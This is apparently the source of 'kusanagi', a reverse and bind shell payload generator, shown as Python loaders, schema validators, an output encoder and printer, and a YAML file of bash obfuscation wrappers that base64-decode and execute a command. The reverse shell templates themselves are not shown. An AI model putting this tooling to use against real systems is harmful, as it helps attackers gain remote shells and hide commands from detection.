51 | obfu_v = obfuscator["code"]["requires"]["version"]
52 | if intersect(code_v, obfu_v) or (not code_v and not obfu_v):
53 | # Create obfuscated item
54 | code["builder"] = [code["payload"], obfuscator["payload"]]
55 | temp = parse([obfuscator], {"__CODE__": code["payload"]})[0]
56 | # Append obfuscated item
57 | items.append(_get_obfuscator_item(code, temp))
58 | return items
59 |
60 |
61 | def _get_revshell_item(item: Dict[str, Any], obfuscated: bool) -> Dict[str, Any]:
62 | """Get an item."""
63 | builder = item["builder"] if "builder" in item else []
64 | data = {
65 | "name": item["name"],
66 | "desc": item["desc"],
67 | "info": item["info"],
68 | "rating": item["rating"],
69 | "code": {
70 | "obfuscated": obfuscated,
71 | "language": item["code"]["language"],
72 | "requires": {
73 | "version": item["code"]["requires"]["version"],
74 | "commands": item["code"]["requires"]["commands"],
75 | "functions": item["code"]["requires"]["functions"],
76 | "modules": item["code"]["requires"]["modules"],
77 | "os": item["code"]["requires"]["os"],
78 | },
79 | },
80 | "revshell": {
81 | "proto": item["revshell"]["proto"],
82 | "shell": item["revshell"]["shell"],
83 | "command": item["revshell"]["command"],
84 | },
85 | "builder": builder,
86 | "payload": item["payload"],
87 | }
88 | return data
89 |
90 |
91 | def _get_obfuscator_item(code: Dict[str, Any], obfuscator: Dict[str, Any]) -> Dict[str, Any]:
92 | """Create code item from obfuscator."""
93 | data = copy.deepcopy(code)
94 |
95 | # Data is combined
96 | data["name"] = obfuscator["name"] + " [ " + code["name"] + " ]"
97 | data["desc"] = code["desc"] + " -> " + obfuscator["desc"]
98 | data["info"] = code["info"] + obfuscator["info"]
99 |
100 | # Merge functions and modules
101 | data["code"]["requires"]["functions"] += obfuscator["code"]["requires"]["functions"]
102 | data["code"]["requires"]["modules"] += obfuscator["code"]["requires"]["modules"]
103 | # Ensure lists have unique items only
104 | data["code"]["requires"]["functions"] = unique(data["code"]["requires"]["functions"])
105 | data["code"]["requires"]["modules"] = unique(data["code"]["requires"]["modules"])
106 |
107 | # version and os are intersected
108 | ver = intersect(code["code"]["requires"]["version"], obfuscator["code"]["requires"]["version"])
109 | os = intersect(code["code"]["requires"]["os"], obfuscator["code"]["requires"]["os"])
110 | data["code"]["requires"]["version"] = ver
111 | data["code"]["requires"]["os"] = os
112 | data["payload"] = obfuscator["payload"]
113 |
114 | return _get_revshell_item(data, True)
115 |
--------------------------------------------------------------------------------
/kusanagi/core/payload/cmd/obfuscator/validator.py:
--------------------------------------------------------------------------------
1 | """This file holds the payload yaml validator/definition template."""
2 |
3 | VALIDATOR = {
4 | "specification": {
5 | "type": dict,
6 | "required": True,
7 | "childs": {
8 | "payload": {
9 | "type": str,
10 | "required": True,
11 | "allowed": "^(cmd)$",
12 | "childs": {},
13 | },
14 | "type": {
15 | "type": str,
16 | "required": True,
17 | "allowed": "^(obfuscator)$",
18 | "childs": {},
19 | },
20 | "version": {
21 | "type": str,
22 | "required": True,
23 | "allowed": "^([0-9]\\.[0-9]\\.[0-9])$",
24 | "childs": {},
25 | },
26 | },
27 | },
28 | "items": {
29 | "type": list,
30 | "required": True,
31 | "childs": {
32 | "name": {
33 | "type": str,
34 | "required": True,
35 | "allowed": "^(.+)$",
36 | "childs": {},
37 | },
38 | "desc": {
39 | "type": str,
40 | "required": True,
41 | "allowed": "^(.+)$",
42 | "childs": {},
43 | },
44 | "info": {
45 | "type": list,
46 | "required": True,
47 | "childs": {},
48 | },
49 | "meta": {
50 | "type": dict,
51 | "required": True,
52 | "childs": {
53 | "author": {
54 | "type": str,
55 | "required": True,
56 | "childs": {},
57 | },
58 | "editors": {
59 | "type": list,
60 | "required": True,
61 | "childs": {},
62 | },
63 | "created": {
64 | "type": str,
65 | "required": True,
66 | "allowed": "^([0-9]{4}-[0-9]{2}-[0-9]{2})$",
67 | "childs": {},
68 | },
69 | "modified": {
70 | "type": str,
71 | "required": True,
72 | "allowed": "^([0-9]{4}-[0-9]{2}-[0-9]{2})$",
73 | "childs": {},
74 | },
75 | "version": {
76 | "type": str,
77 | "required": True,
78 | "allowed": "^([0-9]\\.[0-9]\\.[0-9])$",
79 | "childs": {},
80 | },
81 | },
82 | },
83 | "cmd": {
84 | "type": dict,
85 | "required": True,
86 | "childs": {
87 | "requires": {
88 | "type": dict,
89 | "required": True,
90 | "childs": {
91 | "shell_env": {
92 | "type": list,
93 | "required": True,
94 | "childs": {},
95 | },
96 | "commands": {
97 | "type": list,
98 | "required": True,
99 | "childs": {},
100 | },
101 | "os": {
102 | "type": list,
103 | "required": True,
104 | "childs": {},
105 | },
106 | },
107 | },
108 | "overwrites": {
109 | "type": dict,
110 | "required": False,
111 | "childs": {
112 | "shell_env": {
113 | "type": list,
114 | "required": False,
115 | "childs": {},
116 | },
117 | },
118 | },
119 | },
120 | },
121 | "payload": {
122 | "type": str,
123 | "required": True,
124 | "allowed": "(.*__CMD__.*)",
125 | "childs": {},
126 | },
127 | },
128 | },
129 | }
130 |
--------------------------------------------------------------------------------
/kusanagi/core/payload/cmd/revshell/__init__.py:
--------------------------------------------------------------------------------
1 | """Module to load reverse shell payloads."""
2 |
3 | from typing import List, Dict, Any
4 | from ....helper import intersect
5 | from ....helper import unique
6 | from ....loader import load
7 | from ....parser import parse
8 | from ..obfuscator import *
9 | from .validator import VALIDATOR
10 |
11 |
12 | CMD_FILES = [
13 | "bash.yml",
14 | ]
15 |
16 | CMD_SUBDIRS = ["cmd", "revshells"]
17 |
18 |
19 | def get_revshells(addr: str, port: str, obfuscated: bool) -> List[Dict[str, Any]]:
20 | """Returns list of reverse shell payloads."""
21 | # Final items
22 | items = []
23 |
24 | placeholders = {
25 | "__ADDR__": addr,
26 | "__PORT__": port,
27 | }
28 |
29 | # Get parsed items
30 | cmds = load(CMD_FILES, CMD_SUBDIRS, VALIDATOR)
31 | cmds = parse(cmds, placeholders)
32 |
33 | # Loop over items
34 | for cmd in cmds:
35 |
36 | # Add normal cmd item
37 | items.append(_get_revshell_item(cmd, False))
38 |
39 | # Add obfuscated items as well?
40 | if obfuscated:
41 | for obfuscator in get_obfuscators():
42 | # # Check for same language (cmd <-> obfuscator)
43 | # if cmd["cmd"]["language"] == obfuscator["cmd"]["language"]:
44 | # # Check language version compatibility
45 | # # Only obfuscate if versions (e.g. Python3 and Python3) are compatible
46 | # # Also obfuscate if both have no version specified.
47 | # cmd_v = cmd["cmd"]["requires"]["version"]
48 | # obfu_v = obfuscator["cmd"]["requires"]["version"]
49 | # if intersect(cmd_v, obfu_v) or (not cmd_v and not obfu_v):
50 | # # Create obfuscated item
51 | # temp = parse([obfuscator], {"__CMD__": cmd["payload"]})[0]
52 | # # Append obfuscated item
53 | # items.append(_get_obfuscator_item(cmd, temp))
54 | # Create obfuscated item
55 | cmd["builder"] = [cmd["payload"], obfuscator["payload"]]
56 | temp = parse([obfuscator], {"__CMD__": cmd["payload"]})[0]
57 | # Append obfuscated item
58 | items.append(_get_obfuscator_item(cmd, temp))
59 | return items
60 |
61 |
62 | def _get_revshell_item(item: Dict[str, Any], obfuscated: bool) -> Dict[str, Any]:
63 | """Get an item."""
64 | builder = item["builder"] if "builder" in item else []
65 | data = {
66 | "name": item["name"],
67 | "desc": item["desc"],
68 | "info": item["info"],
69 | "rating": item["rating"],
70 | "cmd": {
71 | "obfuscated": obfuscated,
72 | "executable": item["cmd"]["executable"],
73 | "requires": {
74 | "commands": item["cmd"]["requires"]["commands"],
75 | "shell_env": item["cmd"]["requires"]["shell_env"],
76 | "os": item["cmd"]["requires"]["os"],
77 | },
78 | },
79 | "revshell": {
80 | "proto": item["revshell"]["proto"],
81 | "shell": item["revshell"]["shell"],
82 | "command": item["revshell"]["command"],
83 | },
84 | "builder": builder,
85 | "payload": item["payload"],
86 | }
87 | return data
88 |
89 |
90 | def _get_obfuscator_item(cmd: Dict[str, Any], obfuscator: Dict[str, Any]) -> Dict[str, Any]:
91 | """Create cmd item from obfuscator."""
92 | data = copy.deepcopy(cmd)
93 |
94 | # Data is combined
95 | data["name"] = obfuscator["name"] + " [ " + cmd["name"] + " ]"
96 | data["desc"] = cmd["desc"] + " -> " + obfuscator["desc"]
97 | data["info"] = cmd["info"] + obfuscator["info"]
98 |
99 | # Commands are joined and ensured they are unique
100 | data["cmd"]["requires"]["commands"] += obfuscator["cmd"]["requires"]["commands"]
101 | data["cmd"]["requires"]["commands"] = unique(data["cmd"]["requires"]["commands"])
102 |
103 | # shell_env and os are intersected
104 | env = intersect(cmd["cmd"]["requires"]["shell_env"], obfuscator["cmd"]["requires"]["shell_env"])
105 | os = intersect(cmd["cmd"]["requires"]["os"], obfuscator["cmd"]["requires"]["os"])
106 | data["cmd"]["requires"]["shell_env"] = env
107 | data["cmd"]["requires"]["os"] = os
108 |
109 | # Evaluate overwrites
110 | if "overwrites" in obfuscator["cmd"]:
111 | if "shell_env" in obfuscator["cmd"]["overwrites"]:
112 | data["cmd"]["requires"]["shell_env"] = obfuscator["cmd"]["overwrites"]["shell_env"]
113 |
114 | data["payload"] = obfuscator["payload"]
115 |
116 | return _get_revshell_item(data, True)
117 |
--------------------------------------------------------------------------------
/kusanagi/core/payload/code/revshell/validator.py:
--------------------------------------------------------------------------------
1 | """This file holds the payload yaml validator/definition template."""
2 |
3 | VALIDATOR = {
4 | "specification": {
5 | "type": dict,
6 | "required": True,
7 | "childs": {
8 | "payload": {
9 | "type": str,
10 | "required": True,
11 | "allowed": "^(code)$",
12 | "childs": {},
13 | },
14 | "type": {
15 | "type": str,
16 | "required": True,
17 | "allowed": "^(revshell|bindshell)$",
18 | "childs": {},
19 | },
20 | "version": {
21 | "type": str,
22 | "required": True,
23 | "allowed": "^([0-9]\\.[0-9]\\.[0-9])$",
24 | "childs": {},
25 | },
26 | },
27 | },
28 | "items": {
29 | "type": list,
30 | "required": True,
31 | "childs": {
32 | "name": {
33 | "type": str,
34 | "required": True,
35 | "allowed": "^(.+)$",
36 | "childs": {},
37 | },
38 | "desc": {
39 | "type": str,
40 | "required": True,
41 | "allowed": "^(.+)$",
42 | "childs": {},
43 | },
44 | "info": {
45 | "type": list,
46 | "required": True,
47 | "childs": {},
48 | },
49 | "rating": {
50 | "type": int,
51 | "required": True,
52 | "allowed": "^([0-9])$",
53 | "childs": {},
54 | },
55 | "code": {
56 | "type": dict,
57 | "required": True,
58 | "childs": {
59 | "language": {
60 | "type": str,
61 | "required": True,
62 | "allowed": "^(.+)$",
63 | "childs": {},
64 | },
65 | "requires": {
66 | "type": dict,
67 | "required": True,
68 | "childs": {
69 | "version": {
70 | "type": list,
71 | "required": True,
72 | "childs": {},
73 | },
74 | "commands": {
75 | "type": list,
76 | "required": True,
77 | "childs": {},
78 | },
79 | "functions": {
80 | "type": list,
81 | "required": True,
82 | "childs": {},
83 | },
84 | "modules": {
85 | "type": list,
86 | "required": True,
87 | "childs": {},
88 | },
89 | "os": {
90 | "type": list,
91 | "required": True,
92 | "childs": {},
93 | },
94 | },
95 | },
96 | },
97 | },
98 | "revshell": {
99 | "type": dict,
100 | "required": True,
101 | "childs": {
102 | "proto": {
103 | "type": str,
104 | "required": True,
105 | "allowed": "^(tcp|udp)$",
106 | "childs": {},
107 | },
108 | "shell": {
109 | "type": str,
110 | "required": True,
111 | "allowed": "^(.+)$",
112 | "childs": {},
113 | },
114 | "command": {
115 | "type": (str, type(None)),
116 | "required": True,
117 | "allowed": "^(.+)$",
118 | "childs": {},
119 | },
120 | },
121 | },
122 | "payload": {
123 | "type": str,
124 | "required": True,
125 | "allowed": "(.*__ADDR__.*__PORT__.*|.*__PORT__.*__ADDR__.*)",
126 | "childs": {},
127 | },
128 | },
129 | },
130 | }
131 |
--------------------------------------------------------------------------------
/kusanagi/core/output/encoder/__init__.py:
--------------------------------------------------------------------------------
1 | """Encoder module."""
2 | from typing import Dict, List, Any
3 | from argparse import ArgumentTypeError
4 |
5 | import os
6 | import pathlib
7 | import base64
8 | import re
9 | import html
10 | import urllib.parse
11 |
12 |
13 | AVAILABLE_ENCODERS = {
14 | "url": "URL encodes the data.",
15 | "urlplus": "URL encodes the data and converts spaces to '+' signs",
16 | "html": "Convert all applicable characters to HTML entities",
17 | "hex": "Convert to hex, prepended with \\x",
18 | "hexesc": "Convert to hex, prepended with escaped \\\\x (double slash)",
19 | "hex0x": "Convert to hex, prepended with 0x",
20 | "hexplain": "Convert to hex characters, no prefix",
21 | "base64": "base64 encoding",
22 | "base64pad": "base64 encoding with padding to achieve: [A-Za-z0-9+]",
23 | "2xbase64pad": "Double base64 encoding with padding to achieve: [A-Za-z0-9]",
24 | }
25 |
26 |
27 | # --------------------------------------------------------------------------------------------------
28 | # Public functions
29 | # --------------------------------------------------------------------------------------------------
30 | def encode(data: str, encoder_name: str) -> str:
31 | """Encodes a string with the given encoder name."""
32 | func = globals()["_encode_" + encoder_name]
33 | data = func(data)
34 | return data
35 |
36 |
37 | # --------------------------------------------------------------------------------------------------
38 | # Public argparse functions
39 | # --------------------------------------------------------------------------------------------------
40 | def argparse_encoder_validate(encoder: str) -> str:
41 | """Argparse choice function to select encoders."""
42 | if encoder not in AVAILABLE_ENCODERS:
43 | raise ArgumentTypeError("%s is an invalid encoder." % encoder)
44 | return encoder
45 |
46 |
47 | def argparse_encoder_list() -> None:
48 | """List available encoder for argument --list-encoders."""
49 | print("Available encoders:\n")
50 | print("{:<12}| {}".format("NAME", "DESCRIPTION"))
51 | print("{}|{}".format("-" * 12, "-" * 12))
52 | for encoder in AVAILABLE_ENCODERS:
53 | print("{:<12}| {}".format(encoder, AVAILABLE_ENCODERS[encoder]))
54 |
55 |
56 | # --------------------------------------------------------------------------------------------------
57 | # Available Encoders
58 | # --------------------------------------------------------------------------------------------------
59 |
60 |
61 | def _encode_url(data: str) -> str:
62 | """URL encodes the string."""
63 | return urllib.parse.quote(data, safe="")
64 |
65 |
66 | def _encode_urlplus(data: str) -> str:
67 | """URL encodes the string and converts spaces to a '+' sign."""
68 | return urllib.parse.quote_plus(data, safe="")
69 |
70 |
71 | def _encode_html(data: str) -> str:
72 | """Html entity encodes the string."""
73 | return html.escape(data)
74 |
75 |
76 | def _encode_hex(data: str) -> str:
77 | temp = []
78 | for char in data:
79 | temp.append(hex(ord(char)).replace("0x", "\\x"))
80 | return "".join(temp)
81 |
82 |
83 | def _encode_hexesc(data: str) -> str:
84 | temp = []
85 | for char in data:
86 | temp.append(hex(ord(char)).replace("0x", "\\\\x"))
87 | return "".join(temp)
88 |
89 |
90 | def _encode_hex0x(data: str) -> str:
91 | temp = []
92 | for char in data:
93 | temp.append(hex(ord(char)))
94 | return "".join(temp)
95 |
96 |
97 | def _encode_hexplain(data: str) -> str:
98 | temp = []
99 | for char in data:
100 | temp.append(hex(ord(char)).replace("0x", ""))
101 | return "".join(temp)
102 |
103 |
104 | def _encode_base64(data: str) -> str:
105 | """Base 64 encodes a string."""
106 | ebytes = base64.b64encode(data.encode("utf-8"))
107 | estring = str(ebytes, "utf-8")
108 | return estring
109 |
110 |
111 | def _encode_base64pad(data: str) -> str:
112 | """Base64 encodes with space padding to ensure output only contains [a-zA-Z0-9+]."""
113 | pattern = r"[^a-zA-Z0-9\+]"
114 | regex = re.compile(pattern)
115 | while True:
116 | ebytes = base64.b64encode(data.encode("utf-8"))
117 | estring = str(ebytes, "utf-8")
118 | if not regex.findall(estring):
119 | break
120 | # Pad with trailing space and try again to eliminate base64 pad chars
121 | data = data + " "
122 |
123 | return estring
124 |
125 |
126 | def _encode_2xbase64pad(data: str) -> str:
127 | """Base64 encodes twice with space padding to ensure output only contains [a-zA-Z0-9]."""
128 | pattern = r"[^a-zA-Z0-9]"
129 | regex = re.compile(pattern)
130 | while True:
131 | # First run
132 | ebytes = base64.b64encode(data.encode("utf-8"))
133 | estring = str(ebytes, "utf-8")
134 |
135 | # Second run
136 | ebytes = base64.b64encode(estring.encode("utf-8"))
137 | estring = str(ebytes, "utf-8")
138 |
139 | if not regex.findall(estring):
140 | break
141 | # Pad with trailing space and try again to eliminate base64 pad/special chars
142 | data = data + " "
143 |
144 | return estring
145 |
--------------------------------------------------------------------------------
/kusanagi/core/payload/cmd/revshell/validator.py:
--------------------------------------------------------------------------------
1 | """This file holds the payload yaml validator/definition template."""
2 |
3 | VALIDATOR = {
4 | "specification": {
5 | "type": dict,
6 | "required": True,
7 | "childs": {
8 | "payload": {
9 | "type": str,
10 | "required": True,
11 | "allowed": "^(cmd)$",
12 | "childs": {},
13 | },
14 | "type": {
15 | "type": str,
16 | "required": True,
17 | "allowed": "^(revshell|bindshell)$",
18 | "childs": {},
19 | },
20 | "version": {
21 | "type": str,
22 | "required": True,
23 | "allowed": "^([0-9]\\.[0-9]\\.[0-9])$",
24 | "childs": {},
25 | },
26 | },
27 | },
28 | "items": {
29 | "type": list,
30 | "required": True,
31 | "childs": {
32 | "name": {
33 | "type": str,
34 | "required": True,
35 | "allowed": "^(.+)$",
36 | "childs": {},
37 | },
38 | "desc": {
39 | "type": str,
40 | "required": True,
41 | "allowed": "^(.+)$",
42 | "childs": {},
43 | },
44 | "info": {
45 | "type": list,
46 | "required": True,
47 | "childs": {},
48 | },
49 | "rating": {
50 | "type": int,
51 | "required": True,
52 | "allowed": "^([0-9])$",
53 | "childs": {},
54 | },
55 | "meta": {
56 | "type": dict,
57 | "required": True,
58 | "childs": {
59 | "author": {
60 | "type": str,
61 | "required": True,
62 | "childs": {},
63 | },
64 | "editors": {
65 | "type": list,
66 | "required": True,
67 | "childs": {},
68 | },
69 | "created": {
70 | "type": str,
71 | "required": True,
72 | "allowed": "^([0-9]{4}-[0-9]{2}-[0-9]{2})$",
73 | "childs": {},
74 | },
75 | "modified": {
76 | "type": str,
77 | "required": True,
78 | "allowed": "^([0-9]{4}-[0-9]{2}-[0-9]{2})$",
79 | "childs": {},
80 | },
81 | "version": {
82 | "type": str,
83 | "required": True,
84 | "allowed": "^([0-9]\\.[0-9]\\.[0-9])$",
85 | "childs": {},
86 | },
87 | },
88 | },
89 | "cmd": {
90 | "type": dict,
91 | "required": True,
92 | "childs": {
93 | "executable": {
94 | "type": str,
95 | "required": True,
96 | "allowed": "^(.+)$",
97 | "childs": {},
98 | },
99 | "requires": {
100 | "type": dict,
101 | "required": True,
102 | "childs": {
103 | "commands": {
104 | "type": list,
105 | "required": True,
106 | "childs": {},
107 | },
108 | "shell_env": {
109 | "type": list,
110 | "required": True,
111 | "childs": {},
112 | },
113 | "os": {
114 | "type": list,
115 | "required": True,
116 | "childs": {},
117 | },
118 | },
119 | },
120 | },
121 | },
122 | "revshell": {
123 | "type": dict,
124 | "required": True,
125 | "childs": {
126 | "proto": {
127 | "type": str,
128 | "required": True,
129 | "allowed": "^(tcp|udp)$",
130 | "childs": {},
131 | },
132 | "shell": {
133 | "type": str,
134 | "required": True,
135 | "allowed": "^(.+)$",
136 | "childs": {},
137 | },
138 | "command": {
139 | "type": (str, type(None)),
140 | "required": True,
141 | "allowed": "^(.+)$",
142 | "childs": {},
143 | },
144 | },
145 | },
146 | "payload": {
147 | "type": str,
148 | "required": True,
149 | "allowed": "(.*__ADDR__.*__PORT__.*|.*__PORT__.*__ADDR__.*)",
150 | "childs": {},
151 | },
152 | },
153 | },
154 | }
155 |
--------------------------------------------------------------------------------
/kusanagi/files/cmd/obfuscators/bash-gnu.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | ###
4 | ### Meta definitions
5 | ###
6 | specification:
7 | payload: cmd
8 | type: obfuscator
9 | version: 0.0.1
10 |
11 |
12 | ###
13 | ### Items
14 | ###
15 | items:
16 |
17 | ###
18 | ### [1] bash -c base64 (GNU)
19 | ###
20 | - name: "bash -c base64 (GNU)"
21 | desc: "bash -c \"$(echo |base64 -d)\""
22 | info:
23 | - Using GNU version of base64 (Linux only)
24 | meta:
25 | author: cytopia
26 | editors: ["cytopia"]
27 | created: "2021-04-08"
28 | modified: "2021-04-08"
29 | version: 0.0.1
30 | cmd:
31 | requires:
32 | shell_env: ["bash"]
33 | commands: ["bash", "echo", "base64"]
34 | os: ["linux"]
35 | overwrites:
36 | # As the payload will be wrapped into bash -c by this obfuscator,
37 | # we're overwriting the 'shell_env" (so it is not an intersection),
38 | # as this command can now be run from within any shell (magic is inside bash -c '...')
39 | shell_env: ["bash", "csh", "dash", "ksh", "sh", "tcsh", "zsh"]
40 | payload: bash -c "$(echo __CMD__|base64 -d)"
41 |
42 | - name: "bash -c base64 (GNU)"
43 | desc: "bash -c \"`echo |base64 -d`\""
44 | info:
45 | - Using GNU version of base64
46 | meta:
47 | author: cytopia
48 | editors: ["cytopia"]
49 | created: "2021-04-08"
50 | modified: "2021-04-08"
51 | version: 0.0.1
52 | cmd:
53 | requires:
54 | shell_env: ["bash"]
55 | commands: ["bash", "echo", "base64"]
56 | os: ["linux"]
57 | overwrites:
58 | # As the payload will be wrapped into bash -c by this obfuscator,
59 | # we're overwriting the 'shell_env" (so it is not an intersection),
60 | # as this command can now be run from within any shell (magic is inside bash -c '...')
61 | shell_env: ["bash", "csh", "dash", "ksh", "sh", "tcsh", "zsh"]
62 | payload: bash -c "`echo __CMD__|base64 -d`"
63 |
64 |
65 | ###
66 | ### [2] bash -c base64^2
67 | ###
68 | - name: "bash -c base64^2"
69 | desc: "bash -c \"$(echo |base64|base64 -d)\" # to avoid '+' char"
70 | info:
71 | - Using GNU version of base64 (Linux only)
72 | meta:
73 | author: cytopia
74 | editors: ["cytopia"]
75 | created: "2021-04-08"
76 | modified: "2021-04-08"
77 | version: 0.0.1
78 | cmd:
79 | requires:
80 | shell_env: ["bash"]
81 | commands: ["bash", "echo", "base64"]
82 | os: ["linux"]
83 | overwrites:
84 | # As the payload will be wrapped into bash -c by this obfuscator,
85 | # we're overwriting the 'shell_env" (so it is not an intersection),
86 | # as this command can now be run from within any shell (magic is inside bash -c '...')
87 | shell_env: ["bash", "csh", "dash", "ksh", "sh", "tcsh", "zsh"]
88 | payload: bash -c "$(echo __CMD__|base64 -d)"
89 |
90 | - name: "bash -c base64^2"
91 | desc: "bash -c \"`echo |base64|base64 -d`\" # to avoid '+' char"
92 | info:
93 | - Using GNU version of base64 (Linux only)
94 | meta:
95 | author: cytopia
96 | editors: ["cytopia"]
97 | created: "2021-04-08"
98 | modified: "2021-04-08"
99 | version: 0.0.1
100 | cmd:
101 | requires:
102 | shell_env: ["bash"]
103 | commands: ["bash", "echo", "base64"]
104 | os: ["linux"]
105 | overwrites:
106 | # As the payload will be wrapped into bash -c by this obfuscator,
107 | # we're overwriting the 'shell_env" (so it is not an intersection),
108 | # as this command can now be run from within any shell (magic is inside bash -c '...')
109 | shell_env: ["bash", "csh", "dash", "ksh", "sh", "tcsh", "zsh"]
110 | payload: bash -c "`echo __CMD__|base64 -d`"
111 |
112 |
113 | # ###
114 | # ### [3] eval base64
115 | # ###
116 | # - name: "eval base64"
117 | # desc: "eval $(echo |base64 -d)"
118 | # meta:
119 | # authors: ["cytopia"]
120 | # created: "2021-04-08"
121 | # modified: "2021-04-08"
122 | # version: 0.0.1
123 | # filters:
124 | # shells: ["bash"]
125 | # commands: ["eval", "echo", "base64"]
126 | # encoders: ["base64pad"]
127 | # payload: eval $(echo __CMD__|base64 -d)
128 | #
129 | # - name: "eval base64"
130 | # desc: eval base64 padded code to eliminate = char
131 | # meta:
132 | # authors: ["cytopia"]
133 | # created: "2021-04-08"
134 | # modified: "2021-04-08"
135 | # version: 0.0.1
136 | # filters:
137 | # shells: ["bash"]
138 | # commands: ["eval", "echo", "base64"]
139 | # encoders: ["base64pad"]
140 | # payload: eval `echo __CMD__|base64 -d`
141 | #
142 | #
143 | # ###
144 | # ### [4] eval base64 base64
145 | # ###
146 | # - name: "eval base64 base64"
147 | # desc: eval double base64 code to eliminate + char
148 | # meta:
149 | # authors: ["cytopia"]
150 | # created: "2021-04-08"
151 | # modified: "2021-04-08"
152 | # version: 0.0.1
153 | # filters:
154 | # shells: ["bash"]
155 | # commands: ["eval", "echo", "base64"]
156 | # encoders: ["2xbase64pad"]
157 | # payload: eval $(echo __CMD__|base64 -d|base64 -d)
158 | #
159 | # - name: "eval base64 base64"
160 | # desc: eval double base64 code to eliminate + char
161 | # meta:
162 | # authors: ["cytopia"]
163 | # created: "2021-04-08"
164 | # modified: "2021-04-08"
165 | # version: 0.0.1
166 | # filters:
167 | # shells: ["bash"]
168 | # commands: ["eval", "echo", "base64"]
169 | # encoders: ["2xbase64pad"]
170 | # payload: eval `echo __CMD__|base64 -d|base64 -d1`
171 | #
172 | #
173 | # ###
174 | # ### [5] printf hex bash
175 | # ###
176 | # - name: "printf hex bash"
177 | # desc: hex quoted code
178 | # meta:
179 | # authors: ["cytopia"]
180 | # created: "2021-04-08"
181 | # modified: "2021-04-08"
182 | # version: 0.0.1
183 | # filters:
184 | # shells: ["bash"]
185 | # commands: ["printf", "bash"]
186 | # encoders: ["hex"]
187 | # payload: printf '__CMD__'|bash
188 | #
189 | # - name: "printf hex bash"
190 | # desc: hex quoted code
191 | # meta:
192 | # authors: ["cytopia"]
193 | # created: "2021-04-08"
194 | # modified: "2021-04-08"
195 | # version: 0.0.1
196 | # filters:
197 | # shells: ["bash"]
198 | # commands: ["printf", "bash"]
199 | # encoders: ["hex"]
200 | # payload: printf "__CMD__"|bash
201 | #
202 | #
203 | # ###
204 | # ### [6] printf hex-escaped bash
205 | # ###
206 | # - name: "printf hex-escaped bash"
207 | # desc: hex escaped code
208 | # meta:
209 | # authors: ["cytopia"]
210 | # created: "2021-04-08"
211 | # modified: "2021-04-08"
212 | # version: 0.0.1
213 | # filters:
214 | # shells: ["bash"]
215 | # commands: ["printf", "bash"]
216 | # encoders: ["hexesc"]
217 | # payload: printf __CMD__|bash
218 |
--------------------------------------------------------------------------------
/kusanagi/core/output/__init__.py:
--------------------------------------------------------------------------------
1 | """Output module."""
2 |
3 | from typing import List, Dict, Optional, Any
4 | import sys
5 | import re
6 | from .printer import Printer
7 | from .clipboard import copy_to_clipboard
8 | from .encoder import encode
9 |
10 |
11 | def output_payloads(
12 | items: List[Dict[str, Any]],
13 | payload: Dict[str, Any],
14 | encoders: List[str],
15 | options: Dict[str, Any],
16 | ) -> None:
17 | """Output/print payloads to terminal.
18 |
19 | Args:
20 | items (List[dict]): The payload items to print
21 | payload (dict): Payload type information.
22 | encoders (List[str]): Output encoder.
23 | options (dict): Copy to clipboard/show details
24 | """
25 | p = Printer(True)
26 |
27 | # Copy payload to clipboard
28 | if options["copy"] != -1:
29 | copy_item(p, items, options["copy"], encoders)
30 | return None
31 |
32 | # Show info output
33 | # if options["info"] != -1:
34 | # print("TODO: INFO")
35 | # return None
36 |
37 | # Show quick output
38 | if options["quick"]:
39 | for i, _ in enumerate(items):
40 | output_header_small(p, items[i], i)
41 | output_payload(p, items[i], encoders)
42 | return None
43 |
44 | # Show normal (verbose output)
45 | for i, _ in enumerate(items):
46 | output_header_big(p, items[i], i)
47 | output_revshell_info(p, items[i], payload)
48 | output_target_requirements(p, items[i], payload)
49 | output_inject_requirements(p, items[i])
50 | output_build_requirements(p, items[i])
51 | output_help(p, i)
52 | output_encoders(p, items[i], encoders)
53 | output_payload(p, items[i], encoders)
54 | return None
55 |
56 |
57 | def copy_item(
58 | p: Printer, items: List[Dict[str, Any]], index: Optional[int], encoders: List[str]
59 | ) -> None:
60 | """Copy specified item payload to clipboard."""
61 | # If index is none (no number specified), we will just copy the last item element
62 | if index is None:
63 | index = -1
64 | # Get item by index
65 | try:
66 | item = items[index]
67 | except IndexError:
68 | print(f"[ERROR] payload with index {index} does not exist", file=sys.stderr)
69 | sys.exit(1)
70 | else:
71 | # Encode items
72 | data = item["payload"]
73 | for encoder in encoders:
74 | data = encode(data, encoder)
75 | # Copy to clipboard
76 | try:
77 | copy_to_clipboard(data)
78 | except OSError as error:
79 | print(f"[ERROR] No clipboard mechanism available on your system\n{error}", file=sys.stderr)
80 | sys.exit(1)
81 | else:
82 | # Normalize item index for output
83 | if index == -1:
84 | index = len(items) - 1
85 | output_header_small(p, item, index)
86 | output_payload(p, item, encoders)
87 | print("copied", file=sys.stderr)
88 |
89 |
90 | def output_header_small(p: Printer, item: Dict[str, Any], index: int) -> None:
91 | """Output/print item header to terminal."""
92 | p.stderr("")
93 | p.stderr("[", end="")
94 | p.stderr(f"{index}", "blue", end="")
95 | p.stderr("] ", end="")
96 | p.stderr(f"{item['name']}")
97 |
98 |
99 | def output_header_big(p: Printer, item: Dict[str, Any], index: int) -> None:
100 | """Output payload header."""
101 | # Print headline
102 | p.stderr("")
103 | p.stderr("-" * 80)
104 | p.stderr("[", end="")
105 | p.stderr(f"{index}", "blue", end="")
106 | p.stderr("] ", end="")
107 | p.stderr(f"{item['name']}", "yellow")
108 | p.stderr("-" * 80)
109 |
110 | # description/info
111 | p.stderr(f"{item['desc']}", "yellow")
112 | for info in item["info"]:
113 | p.stderr(f"info: {info}")
114 |
115 |
116 | def output_revshell_info(p: Printer, item: Dict[str, Any], payload: Dict[str, Any]) -> None:
117 | """Output payload section."""
118 | # Print headline
119 | p.stderr("")
120 | p.stderr("PAYLOAD", "magenta")
121 |
122 | # target
123 | p.stderr(" target: ", end="")
124 | p.stderr(f"{payload['revshell']['addr']}", "blue", end="")
125 | p.stderr(":", end="")
126 | p.stderr(f"{payload['revshell']['port']}", "blue")
127 |
128 | # payload
129 | p.stderr(" type: ", end="")
130 | p.stderr(payload["type"], "blue", end="")
131 | p.stderr(" (", end="")
132 | p.stderr(item["revshell"]["proto"], "blue", end="")
133 | p.stderr(")")
134 |
135 | # exe
136 | if "executable" in item[payload["payload"]]:
137 | p.stderr(" executable: ", end="")
138 | p.stderr(item["cmd"]["executable"], "blue")
139 |
140 | # language
141 | if "language" in item[payload["payload"]]:
142 | p.stderr(" language: ", end="")
143 | p.stderr(item["code"]["language"], "blue", end="")
